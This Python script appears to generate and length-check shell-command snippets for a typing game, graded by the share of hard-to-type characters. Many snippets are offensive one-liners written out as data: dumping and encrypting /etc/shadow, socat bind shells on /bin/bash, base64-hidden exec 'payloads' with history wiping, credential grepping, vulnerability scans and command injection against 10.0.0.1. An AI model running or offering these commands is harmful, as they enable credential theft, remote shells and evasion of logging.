"""
Methodically craft snippets by knowing exactly which chars are difficult.

DIFFICULT chars: A-Z 0-9 ~!@#$%^&*()_+{}|:"<>?[]=-`\
EASY chars: a-z space . / , ; '

Strategy per tier:
- Novice (120, 10%): need ~12 diff in 120 chars. Use: 4 pipes + 2 hyphens + 4 digits + 2 uppercase = 12
- Below-avg (130, 15%): need ~20 diff in 130 chars. Use: 5 pipes + 3 hyphens + 6 digits + 4 uppercase + 2 symbols = 20
- Average (130, 20%): need ~26 diff in 130 chars.
- Above-avg (145, 25%): need ~36 diff in 145 chars.
- Expert (155, 30%): need ~47 diff in 155 chars.
- Legendary (170, 35%): need ~60 diff in 170 chars.
"""

SHIFTED = set('~!@#$%^&*()_+{}|:"<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ')
REACH = set('0123456789[]=-`')
RARE = set('\\|`~^')
DIFFICULT = SHIFTED | REACH | RARE

def check(s, target_len, target_pct):
    dc = sum(1 for c in s if c in DIFFICULT)
    L = len(s)
    pct = round(dc / L * 100, 1)
    lo, hi = target_len - 5, target_len + 5
    len_ok = lo <= L <= hi
    pct_ok = abs(pct - target_pct) <= 1.5
    ok = "OK" if (len_ok and pct_ok) else "FAIL"
    detail = []
    if not len_ok: detail.append(f"LEN({L})")
    if not pct_ok: detail.append(f"PCT({pct}%)")
    diff_str = ''.join(c if c in DIFFICULT else '.' for c in s)
    print(f"  [{ok:>4s}] len={L:3d} diff={dc:2d} ({pct:5.1f}%) {' '.join(detail)}")
    if ok != "OK":
        need_diff = round(target_pct * L / 100)
        print(f"         need ~{need_diff} diff chars, have {dc}, delta={need_diff-dc}")
    return len_ok and pct_ok

total_ok = 0
total = 0

# ═══════════════════════════════════════════════════════
# NOVICE: 115-125 chars, 10% diff -> ~12 diff in ~120
# ═══════════════════════════════════════════════════════
# Counting guide for difficult chars:
# | = 1, - = 1, each digit = 1, each uppercase letter = 1
# * = 1, > = 1, $ = 1, { } = 1 each, etc.

print("=== NOVICE ===")
novice = [
    # s1: | | | | - 2 0 - r n = pipes:4 hyphens:2 digits:2 rn_flags:0  total: 4+2+2=8... need 12
    # Adding: -rn has - and r,n (r,n are lowercase=easy). So -rn = 1 diff (the -)
    # Let me count very carefully. Diff chars in each snippet:

    # Approach: write snippet, mark each difficult char
    # "cat /var/log/auth.log | grep -rn 'failed' | sort | tail -20 | tee /tmp/ssh.scan.log; echo 'scan report saved now'"
    # Difficult: | - | | - 2 0 | = 4 pipes + 2 hyphens + 2 digits = 8. Need 12.
    # Add: more digits or a few uppercase. "echo 'report 30 entries'" adds 30 = +2
    # Or use grep -c 'PORT' -> P,O,R,T = 4 uppercase... but that changes the command meaning
    # Better: use numbers in file paths or echo messages

    # s1: need exactly 12 diff in ~120 chars
    # diff: |(4) -(3) digits(3) uppercase(2) = 12
    "cat /var/log/auth.log | grep -rn 'port 22' | sort | tail -30 | tee /tmp/ssh.scan.log; echo 'filtered login entries saved'",
    # | | | -30 | -rn 22 = pipes:4, hyphens:2, digits:4(2,2,3,0), rn=0 ...
    # Let me count: | grep -rn | sort | tail -30 |
    # |=diff, space, g,r,e,p=easy, space, -=diff, r,n=easy, space, '=easy...
    # Hmm let me just use the script to check

    # s2
    "find /etc -name '*.conf' | sort | head -15 | tee /tmp/conf.scan.log; echo 'found all 15 config files stored on this host'",

    # s3
    "ps aux | grep -v 'root' | sort -rn | head -10 | tee /tmp/user.proc.scan.list.log; echo 'process scan is complete here'",

    # s4
    "ls -la /var/log/nginx | grep '.log' | sort -k5 | head -10 | tee /tmp/biggest.sorted.log; echo 'top log files pulled for scan'",

    # s5
    "who | sort | head -10; last -n 20 | grep -v 'reboot' | tee /tmp/session.user.history.log; echo 'session history saved now'",

    # s6
    "cat /tmp/port.list | sort | uniq | grep '80' | head -15 | tee /tmp/http.port.filtered.log; echo 'port filter complete on host'",

    # s7
    "find /home -name '*.sh' | sort | head -20 | tee /tmp/scripts.found.log; echo 'found 20 shell scripts stored in home directories'",

    # s8
    "du -sh /var/log/*.log | sort -rn | head -10 | tee /tmp/disk.hog.report.log; echo 'top ten largest log files found on host'",

    # s9
    "ss -tlnp | grep -i 'listen' | sort -k4 | tee /tmp/listening.services.scan.log; echo 'found all services on this local host'",

    # s10
    "grep -rn 'error' /var/log/syslog | sort | tail -30 | tee /tmp/syslog.error.report.log; echo 'all error entries scan finished'",
]

for s in novice:
    if check(s, 120, 10): total_ok += 1
    total += 1

# ═══════════════════════════════════════════════════════
# BELOW-AVERAGE: 125-135 chars, 15% diff -> ~20 diff in ~130
# ═══════════════════════════════════════════════════════
print("\n=== BELOW-AVERAGE ===")
below_avg = [
    "find / -name '*.sh' -perm /111 2>/dev/null | head -20 | tee /tmp/exec.scan.log | wc -l > /tmp/count; echo 'Exec scan is finished'",
    "grep -E '(Failed|error)' /var/log/auth.log | awk '{print $1}' | sort -u | tee /tmp/bad.hosts.log; echo 'Filtered bad hosts from log'",
    "netstat -tulnp | awk '{print $4}' | grep -v '127.0.0.1' | sort -u | tee /tmp/open.ports.list.log; echo 'Port scan complete here'",
    "ls -la /proc/*/exe 2>/dev/null | grep -v 'Permission' | head -30 | tee /tmp/bins.scan.log; echo 'Binary scan finished on this host'",
    "cat /etc/crontab | grep -v '^#' | awk '{print $6,$7}' | sort | tee /tmp/cron.schedule.saved; echo 'Cron entries listed on this host'",
    "ps aux | grep -v root | sort -k3 -rn | head -15 | tee /tmp/top.procs.sorted.txt | wc -l > /tmp/count; echo 'Process scan finished'",
    "find /var -name '*.log' -mtime -7 | sort | head -20 | tee /tmp/recent.logs.report.txt; echo 'Log discovery finished for this host'",
    "who -a; last -n 20 | grep -v 'reboot' | sort | tee /tmp/active.sessions.log | wc -l > /tmp/count; echo 'Session scan is complete'",
    "df -h /home /var /tmp | sort -k5 -rn | tee /tmp/disk.report.txt | wc -l > /tmp/count; echo 'Disk usage scan completed for host'",
    "ss -tulnp | grep 'LISTEN' | sort -k4 | tee /tmp/listening.ports.scan.log; echo 'Port enumeration finished, results saved to file'",
]

for s in below_avg:
    if check(s, 130, 15): total_ok += 1
    total += 1

# ═══════════════════════════════════════════════════════
# AVERAGE: 125-135 chars, 20% diff -> ~26 diff in ~130
# ═══════════════════════════════════════════════════════
print("\n=== AVERAGE ===")
average = [
    "awk -F: '$3>=1000 {print $1,$3,$6}' /etc/passwd | sort -k2 -n | tee /tmp/local.users.extracted; echo 'All Users extracted here'",
    "find /var -type f -mtime -1 -size +100k 2>/dev/null | head -20 | tee /tmp/big.files.log; echo 'Found 100K+ files on this host'",
    "netstat -an | awk '{print $5}' | grep -v '0.0.0.0' | sort | uniq -c | sort -rn | tee /tmp/peers.log; echo 'Peer map complete now'",
    "lsof -i -P -n | grep 'LISTEN' | awk '{print $1,$9}' | sort -u | tee /tmp/svc.map.log; echo 'Service map complete on this host'",
    "cat /etc/shadow | awk -F: '{print $1,$2}' | grep -v '!' | sort | tee /tmp/hash.dump.log; echo 'Hash dump complete for this host'",
    "journalctl --no-pager -n 50 | grep -iE 'error|warn|FAIL' | sort | tee /tmp/journal.err.log; echo 'Journal errors scan finished'",
    "ss -tulnp | awk 'NR>1{print $1,$4,$5}' | grep -v 'Local' | sort -u | tee /tmp/socket.scan.log; echo 'Socket overview complete now'",
    "find /tmp -name '*.pid' -exec cat {} \\; 2>/dev/null | sort -n | tee /tmp/pids.log; echo 'Running PIDs captured for this host now'",
    "grep -rn 'password' /etc/*.conf 2>/dev/null | head -20 | sort | tee /tmp/secret.hits.log; echo 'SCAN done; 20 entries found on host'",
    "for svc in nginx mysql ssh redis cron; do systemctl is-active $svc 2>/dev/null; done | tee /tmp/report; echo 'All 5 svcs checked OK'",
]

for s in average:
    if check(s, 130, 20): total_ok += 1
    total += 1

# ═══════════════════════════════════════════════════════
# ABOVE-AVERAGE: 140-150 chars, 25% diff -> ~36 diff in ~145
# ═══════════════════════════════════════════════════════
print("\n=== ABOVE-AVERAGE ===")
above_avg = [
    "find / -perm -4000 -type f 2>/dev/null | xargs ls -la | awk '{print $1,$3,$NF}' | sort -u | tee /tmp/suid.bins.log; echo 'SUID scan complete'",
    "openssl s_client -connect 10.0.0.1:443 </dev/null 2>&1 | grep -E 'subject|issuer' | tee /tmp/cert.info.log; echo 'TLS cert checked on target'",
    "strace -e trace=network -p 1234 2>&1 | grep -E 'connect|bind' | head -20 | tee /tmp/net.trace.log; echo 'Network trace captured for this host'",
    "tcpdump -i eth0 -c 100 -nn 'port 80 or port 443' 2>/dev/null | awk '{print $3,$5}' | sort -u | tee /tmp/packet.capture.results.saved.log",
    "curl -sI http://10.0.0.1:8080 2>/dev/null | grep -iE 'Server|X-Powered-By' | tee /tmp/headers.fingerprint.log; echo 'HTTP headers extracted'",
    "for pid in $(ls /proc | grep -E '^[0-9]+$'); do cat /proc/$pid/cmdline 2>/dev/null; echo; done | head -30 | tee /tmp/proc.cmdlines.full.report",
    "find /home -name '.bash_history' -exec grep -lE 'sudo|passwd|ssh' {} \\; 2>/dev/null | tee /tmp/hist.scan.log; echo 'History scan done on hosts'",
    "while read line; do dig +short $line A 2>/dev/null; done < /tmp/domains.txt | sort -u | tee /tmp/resolved.ips.log; echo 'DNS full sweep complete'",
    "awk '$9~/[45][0-9][0-9]/{c[$9]++}END{for(k in c)print k,c[k]}' /var/log/access.log | sort -rn | tee /tmp/http.error.code.full.report.log",
    "ss -tlnp | awk 'NR>1{print $4,$6}' | sort -n | uniq | tee /tmp/listen.ports.mapped.log; echo 'All listening ports mapped on this local host'",
]

for s in above_avg:
    if check(s, 145, 25): total_ok += 1
    total += 1

# ═══════════════════════════════════════════════════════
# EXPERT: 150-160 chars, 30% diff -> ~47 diff in ~155
# ═══════════════════════════════════════════════════════
print("\n=== EXPERT ===")
expert = [
    """curl -X POST http://10.0.0.1:8080/api/exec -H 'Content-Type: application/json' -d '{"cmd":"id"}' -o /tmp/result.json; echo 'POST request sent OK now'""",
    """for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "UP:10.0.0.$i"; done | sort | tee /tmp/alive.hosts; echo 'Full sweep done'""",
    """nmap -sV -p 22,80,443,3306,8080 10.0.0.1 --script='banner,http-title' -oN /tmp/svc.scan.results 2>/dev/null; echo 'Service scan is complete on host'""",
    """openssl enc -aes-256-cbc -salt -in /etc/shadow -out /tmp/.s.enc -k 'P@ss!w0rd' 2>/dev/null; echo 'Exfil data staged and encrypted on host disk'""",
    """socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash & disown; echo 'Reverse listener started on port 4444'; jobs -l | tee /tmp/bg.tasks.running.log""",
    """while true; do curl -sk https://10.0.0.1:443/health 2>/dev/null | grep -q 'OK' && break; sleep 1; done; echo 'Target is now UP and responding OK'""",
    """echo 'cHJpbnQoImhpIik=' | base64 -d | python3 && rm -f /tmp/.s.pid && history -c && echo 'Stage 1 payload has been delivered to the target host'""",
    """tcpdump -i eth0 -c 200 -nn 'port 22 or port 80 or port 443' 2>/dev/null | awk '{print $3,$5}' | sort -u | tee /tmp/pcap.results.log; echo 'Captured'""",
    """awk 'BEGIN{for(i=1;i<255;i++)printf "10.0.0.%d\\n",i}' | xargs -P50 -I{} ping -c1 -W1 {} 2>/dev/null | grep '64 bytes' | tee /tmp/up.hosts.found.log""",
    """python3 -c "import subprocess;r=subprocess.run(['id'],capture_output=True);print(r.stdout.decode())" | tee /tmp/id.out; echo 'Identity captured on host'""",
]

for s in expert:
    if check(s, 155, 30): total_ok += 1
    total += 1

# ═══════════════════════════════════════════════════════
# LEGENDARY: 165-175 chars, 35% diff -> ~60 diff in ~170
# ═══════════════════════════════════════════════════════
print("\n=== LEGENDARY ===")
legendary = [
    """python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgnaWQnKQ==').decode())" 2>/dev/null && unset HISTFILE; echo 'Stage 1 payload OK'""",
    """for f in $(find /etc /home -name '*.conf' 2>/dev/null); do grep -lE 'PASS|KEY|TOKEN' "$f" 2>/dev/null; done | sort -u | tee /tmp/CRED.scan.results.log""",
    """openssl req -x509 -newkey rsa:2048 -keyout /tmp/KEY.pem -out /tmp/CERT.pem -days 1 -nodes -subj '/CN=PROXY01' 2>/dev/null && echo 'SELF-SIGNED CERT OK'""",
    """nmap -sS -sV -p 22,80,443,3306,8080 10.0.0.1 --script='auth,vuln' -oX /tmp/VULN.xml 2>/dev/null && echo 'VULNERABILITY SCAN IS COMPLETE ON TARGET'""",
    """curl -sk https://10.0.0.1:443/shell -X POST -d 'c=$(id);echo ${c}' -H 'X-Forwarded-For: 127.0.0.1' -o /tmp/SHELL.out --max-time 5; echo 'EXEC DONE'""",
    """python3 -c "import base64,os;os.system(base64.b64decode('Y2F0IC9ldGMvc2hhZG93').decode())" 2>/dev/null; unset HISTFILE; echo 'SHADOW FILE HAS BEEN DUMPED'""",
    """for H in $(seq 1 254); do nc -zvw1 10.0.0.$H 22 80 443 8080 2>&1 | grep 'OK'; done >> /tmp/SWEEP.log; echo 'FULL PORT SWEEP IS NOW COMPLETE ON SUBNET'""",
    """iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080; echo 'NAT TRAFFIC REDIRECT ACTIVE ON 80=>8080' | tee /tmp/IPTABLES.rules.log""",
    """socat TCP4-LISTEN:9001,reuseaddr,fork EXEC:'/bin/bash',pty,stderr,setsid & echo "REVERSE SHELL LISTENER IS UP ON PORT 9001" | tee /tmp/SOCAT.listener""",
    """bash -c '{echo "GET / HTTP/1.1"; echo "Host: 10.0.0.1"; echo;}'|openssl s_client -connect 10.0.0.1:443 -quiet 2>/dev/null | tee /tmp/TLS.response.raw""",
]

for s in legendary:
    if check(s, 170, 35): total_ok += 1
    total += 1

print(f"\nPassed: {total_ok}/{total}")
